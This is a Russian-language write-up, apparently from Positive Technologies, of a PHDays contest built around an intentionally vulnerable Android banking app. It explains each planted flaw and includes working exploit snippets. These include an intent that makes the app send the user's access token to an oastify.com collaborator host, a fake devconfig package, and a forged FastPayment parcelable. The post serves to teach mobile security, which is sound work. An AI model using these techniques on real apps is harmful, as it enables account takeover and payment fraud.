В мае в центральном парке Москвы — в Парке Горького — отшумели яркие Positive Hack Days. Впервые за 12 лет форум по практической кибербезопасности, ранее объединявший только экспертов по ИБ и этичных хакеров со всего мира, превратился в открытый киберфестиваль. Мы построили современный кибергород с интересными заданиями и квестами, проходя которые, посетители знакомились с тем, как устроен цифровой мир, проверяли свою киберграмотность и учились доверять новым технологиям, усваивая принципы кибербезопасности. 

Помимо серьезных докладов по информационной безопасности и грандиозной кибербитвы Standoff, ежегодный Positive Hack Days полюбился техническим энтузиастам за конкурсы, в ходе которых они испытывают на прочность различные IT-системы и устройства, оттачивают навыки по их защите и получают памятные призы. На прошлогоднем PHDays исследователи безопасности с азартом искали слабые места в нашем онлайн-банке, банкоматах и POS-терминалах, пытались обойти IDS и сломать ИИ. В этот раз мы отдали участникам на растерзание обновленные традиционные мишени, а также приготовили новинку — уязвимое банковское мобильное приложение. Итоги этого конкурса (как и отчеты участников ????) не оставили нас равнодушными, поэтому мы подготовили его райтап.

Надеемся, наш пост поможет специалистам по ИБ лучше понять, какие уязвимости характерны для этой ОС, как их могут эксплуатировать злоумышленники, а главное — как с ними бороться. Всех, кто хочет лучше ориентироваться в мире мобильных угроз, приглашаем под кат.

Худшие практики Agile + бреши в Android + ошибки при разработке = «дырявый» мобильный банк

В этом году мы решили добавить в конкурс $NATCH новую активность и, помимо хорошо знакомого личного кабинета веб-банка, создали мобильное банковское приложение. Оно представляло собой классический тонкий клиент — обычный интерфейс к серверному API, который практически не принимал самостоятельных решений. При этом мы не хотели делать тривиальный CTF, ориентированный на захват флага, а постарались максимально приблизить конкурс к реальности. Поэтому в мобильное приложение намеренно заложили типы уязвимостей, наиболее часто встречающиеся в ходе реальных проектов нашей команде PT SWARM, которая занимается исследованием защищенности различных систем и выполняет тестирования на проникновение для компаний. Кроме того, эти баги показались нам самыми интересными, и у нас хватило времени сделать их к конкурсу на PHDays.

Вот что мы реализовали для «белых шляп» намеренно:

Чтобы максимально выйти за рамки CTF, для разработки этого приложения мы применили худшие Agile-практики в надежде на то, что в нем появятся баги, которые мы не планировали закладывать специально. И эти практики тоже принесли свои «плоды»:

Отчеты о найденных багах участники отправляли через багбаунти-платформу Standoff 365.  Это мы сделали для того, чтобы не изобретать велосипед и дать исследователям простой и понятный интерфейс для описания брешей. Хотим поблагодарить исследователей за нахождение «дополнительных» уязвимостей, о которых мы даже не подозревали. Они в очередной раз доказали, что не нужно специально делать уязвимости: они вполне себе возникают сами.

Итак, давайте разберем каждый баг до винтика.

Недостаточный контроль адресов, передаваемых в WebView

В мобильный банк были заложены две уязвимости, которые нужно было объединить в цепочку, чтобы получить access token пользователя: фактически это позволяло полностью захватить аккаунт. Рассмотрим их по порядку.

При просмотре манифеста приложения в глаза сразу бросается activity с говорящим названием:

<activity android:name="com.ptsecurity.globaldigitalbank.presentation.WebViewActivity" 
		  android:exported="true" 
		  android:screenOrientation="portrait"/>

Флаг exported="true" указывает на то, что ее может запустить любое приложение. Осталось лишь понять, какие параметры для запуска нужно передать. Для этого посмотрим содержимое метода onCreate():

public void onCreate(Bundle bundle) {
	...
    Uri parse = Uri.parse(getIntent().getStringExtra("url"));
    String host = parse.getHost();
    if (host != null && !AbstractC1405j.m3993P(host)) {
        z8 = false;
    } else {
        z8 = true;
	    }
    if (!z8) {
        String host2 = parse.getHost();
        ...
        if (AbstractC1405j.m3983F(host2, BuildConfig.SERVER_DOMAIN)) {
            String uri = parse.toString();
            Map<String, String> singletonMap = Collections.singletonMap("Authorization", "Bearer " + ExtensionsKt.getValueBlocking(getDataStore(), UserKeys.INSTANCE.getACCESS_TOKEN()));
            ...
            webView.loadUrl(uri, singletonMap);
			...
            return;
        }
    }
	...
    throw new BadHostException(parse);
}

«Спасибо» Kotlin, который делает декомпилированный код менее понятным; однако разобраться все же можно. Из кода видно, что activity ждет параметр url, из которого она извлекает хост, и выполняет три проверки. Нам важны проверки !AbstractC1405j.m3993P(host) и AbstractC1405j.m3983F(host2, BuildConfig.SERVER_DOMAIN). Если заглянуть в m3993P, становится понятно, что это проверка  того, пуста ли строка.

public static final boolean m3993P(CharSequence charSequence) {  
    boolean z8;  
    AbstractC0890u2.m2661i(charSequence, "<this>");  
    if (charSequence.length() == 0) {  
        return true;  
    }  
    C0747f c0747f = new C0747f(0, charSequence.length() - 1);  
    if (!(c0747f instanceof Collection) || !((Collection) c0747f).isEmpty()) {  
        Iterator it = c0747f.iterator();  
        while (it.hasNext()) {  
            if (!AbstractC3206p1.m6615l(charSequence.charAt(((C0746e) it).m2356b()))) {  
                z8 = false;  
                break;  
            }  
        }  
    }  
    z8 = true;  
    if (z8) {  
        return true;  
    }  
    return false;  
}

Второй метод (m3983F) чуть более запутанный, и его логика размыта по нескольким другим:

public static boolean m3983F(CharSequence charSequence, String str) {  
    ...
    if (m3991N(charSequence, str, 0, false, 2) < 0) {  
        return false;  
    }  
    return true;  
}
...
public static /* synthetic */ int m3991N(CharSequence charSequence, String str, int i5, boolean z8, int i10) {  
    if ((i10 & 2) != 0) {  
        i5 = 0;  
    }  
    if ((i10 & 4) != 0) {  
        z8 = false;  
    }  
    return m3988K(i5, charSequence, str, z8);  
}
...
public static final int m3988K(int i5, CharSequence charSequence, String str, boolean z8) {  
	...  
    if (!z8 && (charSequence instanceof String)) {  
        return ((String) charSequence).indexOf(str, i5);  
    }  
    return m3989L(charSequence, str, i5, charSequence.length(), z8, false);  
}

Суть происходящего сводится к проверке того, входит ли подстрока из параметра str в строку charSequence. Это, в свою очередь, означает, что можно легко удовлетворить это условие, поскольку мы полностью контролируем то, что попадает в charSequence. В результате выполнится код, добавляющий токен в заголовок запроса к переданному URL.

Подстроку со значением константы SERVER_DOMAIN достаем из класса BuildConfig атакуемого приложения:

public final class BuildConfig {
    ...
    public static final String SERVER_DOMAIN = "globaldigitalbank.ru";
    ...
}

Затем моделируем атаку через стороннее приложение на устройстве пользователя. Для этого собираем и запускаем вот такой intent:

val intent = Intent().apply {  
    setClassName("com.ptsecurity.globaldigitalbank", "com.ptsecurity.globaldigitalbank.presentation.WebViewActivity")  
    
    // Удовлетворяем условие вхождения подстроки globaldigitalbank.ru в имя хоста
    putExtra("url", "http://globaldigitalbank.ru.7z7vfqc4zke30sy8wou555ak1b72vsjh.oastify.com")
}  
  
startActivity(intent)

Эксплойт использует в качестве поддомена домен, ожидаемый по условию вхождения, тем самым успешно обходит проверку и вызывает отправку токена на домен злоумышленника. В успешности атаки можно убедиться по «отстуку» в Burp Collaborator.

Отладочные функции, приводящие к обходу аутентификации

Один из любимых паттернов тестировщиков мобильных приложений — потрясти устройство, чтобы появилось отладочное меню. Подобные меню периодически встречаются в релизных сборках. Среди них бывают как довольно безобидные, которые позволяют накидать себе «денег», существующих только в памяти текущей сессии, так и опасные, которые отключают механизмы аутентификации. Именно такое отладочное меню мы и заложили в свое приложение.

Для локализации этого паттерна нужно поискать реализацию интерфейса SensorEventListener, в который поступают данные с сенсоров устройства. И эта реализация довольно быстро обнаруживается в классе com.ptsecurity.globaldigitalbank.App:

public final App$sensorListener$1 f5643Q = new SensorEventListener() {
    {  
        App.this = this;  
    }  
    @Override // android.hardware.SensorEventListener  
    public void onAccuracyChanged(Sensor sensor, int i5) {  
        AbstractC0890u2.m2661i(sensor, "sensor");  
    }  
    @Override // android.hardware.SensorEventListener  
    public void onSensorChanged(SensorEvent sensorEvent) {  
        float f10;  
        float f11;  
        float f12;  
        float f13;  
        float f14;  
        AbstractC0890u2.m2661i(sensorEvent, "event");  
        float[] fArr = sensorEvent.values;  
        float f15 = fArr[0];  
        float f16 = fArr[1];  
        float f17 = fArr[2];  
        App app = App.this;  
        f10 = app.f5639M;  
        app.f5640N = f10;  
        float f18 = f17 * f17;  
        app.f5639M = (float) Math.sqrt(f18 + (f16 * f16) + (f15 * f15));  
        f11 = app.f5639M;  
        f12 = app.f5640N;  
        float f19 = f11 - f12;  
        f13 = app.f5638L;  
        app.f5638L = (f13 * 0.9f) + f19;  
        f14 = app.f5638L;  
        if (f14 > 12.0f) {  
            app.checkCount();  
        }  
    }  
};
...
public final void checkCount() {  
    int i5 = this.f5641O + 1;  
    this.f5641O = i5;  
    if (i5 != 1) {  
        if (i5 == 5) {  
            if (System.currentTimeMillis() - this.f5642P < 10000) {  
                this.f5641O = 0;  
                this.f5642P = 0L;  
                Activity activity = this.f5636J.getActivity();  
                if (activity != null) {  
                    AbstractC1720x.m4580g(activity, R.id.nav_host_fragment).m4356k(R.id.fragment_settings, null, null);  
                    return;  
                }  
                return;  
            }  
            this.f5641O = 0;  
            this.f5642P = 0L;  
            return;  
        }  
        return;  
    }  
    this.f5642P = System.currentTimeMillis();  
}

В функции обратного вызова onSensorChanged по несложной формуле рассчитываются ускорения при перемещении устройства в пространстве, чтобы определить сам факт тряски. Далее вызывается проверка количества встряхиваний — checkCount(). Если встряхнули пять раз, происходит переход на фрагмент с настройками — R.id.fragment_settings. Атакующий может воспользоваться этой брешью, только если у него есть физический доступ к устройству. Участники могли продемонстрировать реализацию этой атаки на своем девайсе или на тестовых гаджетах, которые мы приготовили на стенде конкурса.

Отладочные функции, приводящие к понижению уровня безопасности хранилища данных

По неведомым нам причинам эту уязвимость не нашел ни один из участников. Во второй день конкурса мы даже сделали очевидную, как нам тогда казалось, подсказку в Telegram-канале конкурса: «Иногда приложение уязвимо не само по себе, а уязвима его экосистема». Это была прямая отсылка к статье «Ядовитая экосистема», где разбиралась точно такая же уязвимость. Давайте рассмотрим ее на конкретном примере.

Если заглянуть в блок <queries> манифеста приложения, можно увидеть весьма многообещающее имя пакета com.ptsecurity.globaldigitalbank.devconfig. Далее есть смысл поискать, как работает приложение с этим пакетом; обнаружится всего одно вхождение в следующем блоке кода:

case C4178g.STRING_SET_FIELD_NUMBER /* 6 */:  
    try {  
        List<PackageInfo> installedPackages = ((App) obj).getPackageManager().getInstalledPackages(0);  
        AbstractC0890u2.m2660h(installedPackages, "packageManager.getInstalledPackages(0)");  
        for (Object obj2 : installedPackages) {  
            String str2 = ((PackageInfo) obj2).packageName;  
            AbstractC0890u2.m2660h(str2, "it.packageName");  
            if (AbstractC1405j.m4008e0(str2, "com.ptsecurity.globaldigitalbank.devconfig", false)) {  
                String str3 = ((PackageInfo) obj2).packageName;  
                Resources resourcesForApplication = ((App) obj).getPackageManager().getResourcesForApplication(str3);  
                AbstractC0890u2.m2660h(resourcesForApplication, "packageManager.getResour…ication(devConfigPackage)");  
                String string = resourcesForApplication.getString(resourcesForApplication.getIdentifier("dev_settings", "string", str3));  
                AbstractC0890u2.m2660h(string, "externalRes.getString(devConfigId)");  
                List m4006c0 = AbstractC1405j.m4006c0(string, new String[]{";"});  
                int m6549q = AbstractC3158m1.m6549q(AbstractC1401f.m3977A(m4006c0, 10));  
                if (m6549q < 16) {  
                    m6549q = 16;  
                }  
                LinkedHashMap linkedHashMap = new LinkedHashMap(m6549q);  
                Iterator it = m4006c0.iterator();  
                while (it.hasNext()) {  
                    List m4006c02 = AbstractC1405j.m4006c0((String) it.next(), new String[]{"="});  
                    linkedHashMap.put((String) m4006c02.get(0), (String) m4006c02.get(1));  
                }  
                return linkedHashMap;  
            }  
        }  
        throw new NoSuchElementException("Collection contains no element matching the predicate.");  
    } catch (Exception unused) {  
        return C2608o.f10265G;  
    }

Если убрать из него весь «мусор» и немного пошаманить с именами переменных и функций, становится ясно, что происходит поиск приложения с пакетом com.ptsecurity.globaldigitalbank.devconfig. Если оно найдено, из его строковых ресурсов вытягивается строка с идентификатором dev_settings. Затем она «нарезается» в список m4006c0 по разделителю ;. Результат «нарезается» еще раз, но уже в ассоциативный массив по разделителю =. Если все успешно, возвращается сформированный ассоциативный массив. Если возникло исключение, возвращается пустой ассоциативный массив. Проведя в голове обратное преобразование описанного алгоритма, можно догадаться, что наше приложение ищет в другом приложении строку вида «key1=value1;key2=value2;...». 

Но как узнать, какие должны быть ключи и значения? Для этого нужно понять, кто вызывает этот код. Поиск «вокруг» мало что дает (еще раз «спасибо» Kotlin), поэтому придется немного подумать. Сам код находится в некоем глобальном операторе switch, и требуется понять, откуда в него приходят значения. Это проясняется, когда мы добираемся до оператора, который находится почти в самом начале функции invoke():

public /* synthetic */ C3507z(int i5, Object obj) {  
    super(0);  
    this.f12619H = i5;  
    this.f12620I = obj;  
}

public final Object invoke() {
	...
	int i14 = this.f12619H;  
	... 
	switch (i14) {
	    ...
  }
  ...
}

Это конструктор класса C3507z; в его аргумент i5 попадает целочисленное значение. Оно сохраняется в поле f12619H, которое при вызове функции invoke() передается в переменную i14 и попадает в оператор switch. Теперь все просто: нужно найти вызов конструктора c цифрой 6 в качестве первого аргумента (это понятно из предыдущего блока кода) и посмотреть, что там происходит. К счастью, поиск выдает только один такой вызов в классе com.ptsecurity.globaldigitalbank.App:

public final class App extends Hilt_App {  
	...
	/* renamed from: I */  
	public final C2384j f5635I = new C2384j(new C3507z(6, this));
}

Здесь вызов конструктора «обернут» в «ленивую» инициализацию C2384j, поэтому не обращаем на нее внимания и сразу смотрим, как используется поле f5635I:

// Класс App
public final Map<String, String> getDevConfig() {  
    return (Map) this.f5635I.getValue();  
}
...
// Класс C3507z
public final File m6825a() {
    switch (this.f12619H) {
        case 0:
            File file = (File) ((C3491l0) this.f12620I).f12568a.invoke();
            String absolutePath = file.getAbsolutePath();
            synchronized (C3491l0.f12567k) {
                LinkedHashSet linkedHashSet = C3491l0.f12566j;
                if ((!linkedHashSet.contains(absolutePath)) != false) {
                    AbstractC0890u2.m2660h(absolutePath, "it");
                    linkedHashSet.add(absolutePath);
                } else {
                    throw new IllegalStateException(("There are multiple DataStores active for the same file: " + file + ". You should either maintain your DataStore as a singleton or confirm that there is no two DataStore's active on the same file (by confirming that the scope is cancelled).").toString());
                }
            }
            return file;
        default:
            Context context = (Context) this.f12620I;
            AbstractC0890u2.m2659g(context, "null cannot be cast to non-null type com.ptsecurity.globaldigitalbank.App");
            boolean parseBoolean = Boolean.parseBoolean(((App) context).getDevConfig().get("debug"));
            boolean m2654b = AbstractC0890u2.m2654b(Environment.getExternalStorageState(), "mounted");
            if (parseBoolean && m2654b) {
                return new File(context.getExternalFilesDir("datastore"), "com.ptsecurity.globaldigitalbank.preferences_pb");
            }
            String m2677y = AbstractC0890u2.m2677y(".preferences_pb", BuildConfig.APPLICATION_ID);
            AbstractC0890u2.m2661i(m2677y, "fileName");
            return new File(context.getApplicationContext().getFilesDir(), AbstractC0890u2.m2677y(m2677y, "datastore/"));
    }
}

Да-да, нас опять закинуло в класс C3507z, с которого мы начинали. То есть эту задачу можно было решить чуть быстрее «методом пристального взгляда», но для полноты повествования важно было показать всю цепочку.

Из кода видно, что метод getDevConfig() возвращает созданный ранее ассоциативный массив, из которого извлекается булево значение по ключу debug и сохраняется в parseBoolean. Дальше самое интересное: если это значение истинно и доступно внешнее хранилище, в нем будет создан файл с настройками приложения.

Поскольку приложение не проверяет подпись для найденного в системе пакета com.ptsecurity.globaldigitalbank.devconfig, достаточно создать приложение с таким пакетом и добавить в strings.xml строку <string name="dev_settings">debug=true</string>. Если основное приложение найдет этот параметр на этапе создания хранилища параметров, то хранилище будет создано в директории /sdcard/Android/data/com.ptsecurity.globaldigitalbank/files/datastore, а не в /data/data/com.ptsecurity.globaldigitalbank/files/datastore. До Android 10 включительно этот внешний каталог доступен для чтения и записи любому приложению, которое имеет разрешения android.permission.READ_EXTERNAL_STORAGE и android.permission.WRITE_EXTERNAL_STORAGE, а также устанавливает флаг android:requestLegacyExternalStorage="true".

В результате этой атаки злоумышленник может получить доступ ко всем данным в хранилище конкурсного мобильного приложения, например к пользовательскому токену доступа к API, хранящемуся в незашифрованном виде, что может привести к захвату аккаунта.

Обход локальной аутентификации по PIN-коду через widget

Мы заложили эту уязвимость, чтобы продемонстрировать неожиданные векторы атак, которые открываются при физическом доступе к разблокированному устройству. У нас также была про это подсказка в Telegram-канале, но отчетов с этим багом мы так и не увидели. А значит, нужно подробно объяснить, в чем состояла уязвимость и как злоумышленники могут ее эксплуатировать.

Как и в случае с вышеописанными багами, для ее поиска необходимо начинать с манифеста, в котором находится описание виджета:

<receiver android:name="com.ptsecurity.globaldigitalbank.presentation.PaymentWidget" android:exported="false">  
    <intent-filter>  
        <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>  
    </intent-filter>  
    <meta-data android:name="android.appwidget.provider" android:resource="@xml/payment_widget_info"/>  
</receiver>

Смотрим код и обнаруживаем интересное поведение:

public final class PaymentWidget extends AppWidgetProvider {  
	...
    public void onUpdate(Context context, AppWidgetManager appWidgetManager, int[] iArr) {  
        AbstractC0890u2.m2661i(context, "context");  
        AbstractC0890u2.m2661i(appWidgetManager, "appWidgetManager");  
        AbstractC0890u2.m2661i(iArr, "appWidgetIds");  
        for (int i5 : iArr) {  
            PaymentWidgetKt.updateAppWidget(context, appWidgetManager, i5);  
        }  
    }  
}
...
public final class PaymentWidgetKt {  
    public static final void updateAppWidget(Context context, AppWidgetManager appWidgetManager, int i5) {  
		...
        String string = context.getString(R.string.appwidget_text);  
        ...
        RemoteViews remoteViews = new RemoteViews(context.getPackageName(), R.layout.payment_widget);  
        remoteViews.setTextViewText(R.id.appwidget_text, string);  
        remoteViews.setOnClickPendingIntent(R.id.widgetButton, PendingIntent.getActivity(context, 0, new Intent(context, PaymentActivity.class), 67108864));  
        appWidgetManager.updateAppWidget(i5, remoteViews);  
    }  
}

При нажатии на кнопку виджета происходит запуск PaymentActivity. Но что, если там нет никаких дополнительных проверок аутентификации? Добавляем виджет на рабочий стол и нажимаем на кнопку!

Откроется экран для проведения платежей, причем без каких-либо запросов PIN-кода.

Жестко закодированный ключ шифрования

Почти классическая уязвимость, которая, к счастью, пропала с наших радаров при анализе защищенности реальных приложений, и ее добавление в код — скорее дань традиции. Эдакий press F. В классе с говорящим названием com.ptsecurity.globaldigitalbank.internal.Crypto содержался метод для шифрования некоторых критически важных данных, отправляемых на сервер:

public final class Crypto {  
    public final String encrypt(String str, String str2) {  
        AbstractC0890u2.m2661i(str, "data");  
        AbstractC0890u2.m2661i(str2, "key");  
        MessageDigest messageDigest = MessageDigest.getInstance("SHA-256");  
        Charset charset = AbstractC1396a.f7242a;  
        byte[] bytes = str2.getBytes(charset);  
        AbstractC0890u2.m2660h(bytes, "this as java.lang.String).getBytes(charset)");  
        SecretKeySpec secretKeySpec = new SecretKeySpec(messageDigest.digest(bytes), "AES");  
        Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");  
        byte[] bArr = new byte[12];  
        new SecureRandom().nextBytes(bArr);  
        cipher.init(1, secretKeySpec, new GCMParameterSpec(128, bArr));  
        byte[] bytes2 = str.getBytes(charset);  
        AbstractC0890u2.m2660h(bytes2, "this as java.lang.String).getBytes(charset)");  
        byte[] doFinal = cipher.doFinal(bytes2);  
        int length = doFinal.length + 12;  
        byte[] bArr2 = new byte[length];  
        System.arraycopy(bArr, 0, bArr2, 0, 12);  
        System.arraycopy(doFinal, 0, bArr2, 12, doFinal.length);  
        C4301a c4301a = C4301a.f14961V;  
        StringBuilder sb = new StringBuilder();  
        sb.append((CharSequence) "");  
        int i5 = 0;  
        for (int i10 = 0; i10 < length; i10++) {  
            byte b6 = bArr2[i10];  
            i5++;  
            if (i5 > 1) {  
                sb.append((CharSequence) "");  
            }  
            sb.append((CharSequence) c4301a.mo2058j(Byte.valueOf(b6)));  
        }  
        sb.append((CharSequence) "");  
        String sb2 = sb.toString();  
        AbstractC0890u2.m2660h(sb2, "joinTo(StringBuilder(), …ed, transform).toString()");  
        return sb2;  
    }  
}

Само шифрование реализовано правильно, но параметр str2 сразу привлекает внимание. В него передается ключ, который затем используется в алгоритме шифрования. Если посмотреть на вызовы метода encrypt, то видно, что в качестве ключа приложение использует две жестко закодированные строки:

public final Object payCardToCard(String str, String str2, double d10, double d11, String str3, InterfaceC2887d<? super ApiResponse<C2394t>> interfaceC2887d) {
    Crypto crypto = this.f5864b;
    return this.f5863a.payCardToCard(new PaymentCardToCard(crypto.encrypt(str, "lolkekhek"), crypto.encrypt(str2, "hekkeklol"), d10, d11, str3), interfaceC2887d);
}

Поскольку применяется симметричный алгоритм шифрования и ключи едины для всех, злоумышленник получает возможность расшифровать любые данные, которые были зашифрованы этим методом.

Логирование конфиденциальной информации в logcat

На наш взгляд, простейший баг, но отчет с ним прислал всего один участник. В приложении мы действительно «забыли» HttpLoggingInterceptor с уровнем журналирования BODY.

Импакт этой уязвимости довольно низкий, так как она эксплуатируется она только при возможности чтения логов устройства. Эта операция, в свою очередь, требует включения режима разработчика.

Отправка запросов до ввода PIN-кода

Еще одна классическая ошибка, часто встречающаяся в мобильных приложениях, которые не шифруют токен доступа к API с вводом пользовательских данных, например PIN-кода. При запуске приложение читает этот токен из хранилища и прикрепляет его к запросу, который успешно выполняется. При этом совершенно не важно, хранится ли токен в песочнице в открытом виде или он зашифрован с помощью EncryptedSharedPreferences или чего-то подобного. Корень проблемы как раз в автоматической расшифровке этих данных при запуске приложения.

Обход аутентификации из-за ошибки в навигации

Очень забавная уязвимость, которая была допущена из-за недостаточно продуманной системы навигации. В результате этого фрагмент для ввода PIN-кода открывается поверх главного фрагмента, а отсутствие переопределения поведения кнопки «Назад» завершает цепочку, делая возможным обход аутентификации. Как нужно было правильно решить эту задачу, чтобы не допустить появления этой бреши? Есть несколько способов, которые главным образом зависят от архитектуры приложения. В нашем случае вполне подошли бы рекомендации Google по построению условной навигации либо переопределение стартового фрагмента следующим образом:

val navController = host.navController  
val navGraph = navController.navInflater.inflate(R.navigation.nav_graph)  
  
val startDestination = when {  
    pinkman.isPinSet() -> R.id.fragment_input_pin  
    checkSessionExists() -> R.id.fragment_create_pin  
    else -> R.id.fragment_auth  
}  
  
navGraph.setStartDestination(startDestination)  
navController.graph = navGraph

Отсутствие аутентификации для доступа к критически важным функциям

Самый интересный пример из числа уязвимостей, которые мы намеренно не реализовали в мобильном банке, и потому очень удивились, увидев этот баг в отчетах. Строго говоря, эта брешь появилась из-за того, что точка входа в нее изначально предназначалась для другой уязвимости — EvilParcel. По задумке эксплуатация последней должна была приводить к автоматическому переводу денег без ведома пользователя. Но мы немного не успели к старту PHDays, и на радость исследователям вместо финального шага в коде красовалась заглушка:

Log.w("GBank", "SUCCESS EVIL PARCEL");

Благодаря ей участникам не пришлось потеть над созданием хитрой полезной нагрузки для EvilParcel — достаточно было вызвать activity.

Однако сама точка входа работала, а отсутствие должной проверки аутентификации замкнуло цепочку. Эксплуатация уязвимости в этом случае сводилась к подготовке parcelable для объекта FastPayment и его передаче в intent. Как обычно, разберем на примере. В MainActivity есть такой код:

public void onCreate(Bundle bundle) {  
    ...
    Parcelable parcelableExtra = getIntent().getParcelableExtra("fast_payment");  
    FastPayment fastPayment = (FastPayment) parcelableExtra;  
    if (fastPayment != null && (flag_confirm = fastPayment.getFlag_confirm()) != null && flag_confirm.byteValue() == 1) {  
        z8 = true;  
    } else {  
        z8 = false;  
    }  
    if (z8) {  
        Intent intent = new Intent();  
        intent.setClassName(BuildConfig.APPLICATION_ID, "com.ptsecurity.globaldigitalbank.presentation.PaymentActivity");  
        intent.putExtra("fast_operation", parcelableExtra);  
        startActivity(intent);  
    }
    ...
}

В нем проверяется значение поля flag_confirm класса FastPayment, и, если оно равно единице, открывается PaymentActivity, куда передается объект, полученный в intent. Это и есть точка входа. В приложении, моделирующем злонамеренное действие, создаем такую же структуру пакетов для класса FastPayment, как и в оригинальном приложении, а также сам класс:

package com.ptsecurity.globaldigitalbank.internal  
  
import android.os.Parcelable  
import kotlinx.parcelize.Parcelize  
  
@Parcelize  
class FastPayment(  
    var senderCard: String? = null,  
    var recipientCard: String? = null,  
    var amount: Int? = null,  
    var purpose: CharArray? = null,  
    var flag_confirm: Byte? = null  
) : Parcelable

Теперь можно запустить цепочку эксплуатации с помощью вызова intent:

val intent = Intent().apply {  
    setClassName("com.ptsecurity.globaldigitalbank", "com.ptsecurity.globaldigitalbank.presentation.MainActivity")  
    putExtra("fast_payment", FastPayment("", "", 1, "x".toCharArray(), 1))  
}  
  
startActivity(intent)

В результате открывается PaymentActivity, в которой можно вручную совершать платежи.

Об итогах и наших впечатлениях

В общей сложности соревнование длилось 30 часов. Победителей мы наградили подарками.

???? jice

???? impos1ble_hack

???? darling_x0r

???? 4 500 очков

???? 4 500 очков

???? 1 500 очков

???? 20 000 ₽ + мерч

???? 20 000 ₽ + мерч

???? 10 000 ₽ + мерч

Спасибо всем участникам! Очень надеемся, что в следующем году вас будет больше и заруба будет гораздо яростнее!

Отдельной строкой хотим отметить самые распространенные ошибки в полученных отчетах: скудные описания найденных багов и отсутствие PoC, из-за чего нам часто приходилось запрашивать у участников уточняющую информацию, чтобы понять, что они имели в виду. Кроме того, хотя мы указали в правилах состязания, что не принимаем отчеты о том, что у нашего приложения отсутствуют проверки на root-доступ и запуск на эмуляторе (мы их специально не сделали), нам их все равно присылали ????‍♂️ Все это не приближало вас к победе, поэтому просим участников в следующем году внимательнее читать условия конкурса.

Послесловие

Это не исчерпывающий список багов, которые мы задумали представить в конкурсе $NATCH. Мобильные приложения многогранны, и поверхность атаки на них гораздо шире, чем может показаться на первый взгляд. Состязание по поиску слабых мест в мобильном банке прочно обосновалось в конкурсной программе Positive Hack Days, и мы будем развивать его дальше: у нас еще бездна идей для следующих версий уязвимого банковского приложения. Впереди у нас целый год, чтобы сделать новые крутые задания, а у вас — чтобы к ним подготовиться и отточить пентестерские навыки. До встречи на PHDays 13!

Комментарии (5)


  1. vilgeforce
    03.07.2023 13:20

    Я не очень большой спец по андроиду, но в случае с receiver у вас в коде написано android:exported="false"
    Разве неэкспортируемые receiver'ы тоже уязвимы?


    1. Fi5t Автор
      03.07.2023 13:20
      +1

      Все верно, receiver действительно не экспортирован и отправлять ему широковещательные сообщения нельзя. Но смысл эксплуатации этой уязвимости не в том, чтобы атаковать непосредственно receiver через механизм IPC (для чего как раз нужно иметь android:exported="true"), а в том, что приложение не осуществляет должного контроля аутентификации при взаимодействии с виджетом.


      1. vilgeforce
        03.07.2023 13:20

        И, получается, даже неэкспортируемый виджет можно добавить на рабочий стол?


        1. Fi5t Автор
          03.07.2023 13:20
          +2

          Да. И официальная документация это подтверждает. Да и в целом receiver нужен фактически для внутреннего пользования, чтобы получать сообщения от виджета. Экспортировать этот receiver для всех остальных не требуется. О чем также говорит официльная документация:

          The <receiver> element requires the android:name attribute, which
          specifies the AppWidgetProvider used by the widget. The component should not
          be exported unless a separate process needs to broadcast to your
          AppWidgetProvider, which is usually not the case.


          1. vilgeforce
            03.07.2023 13:20

            Очень интересно, спасибо :-)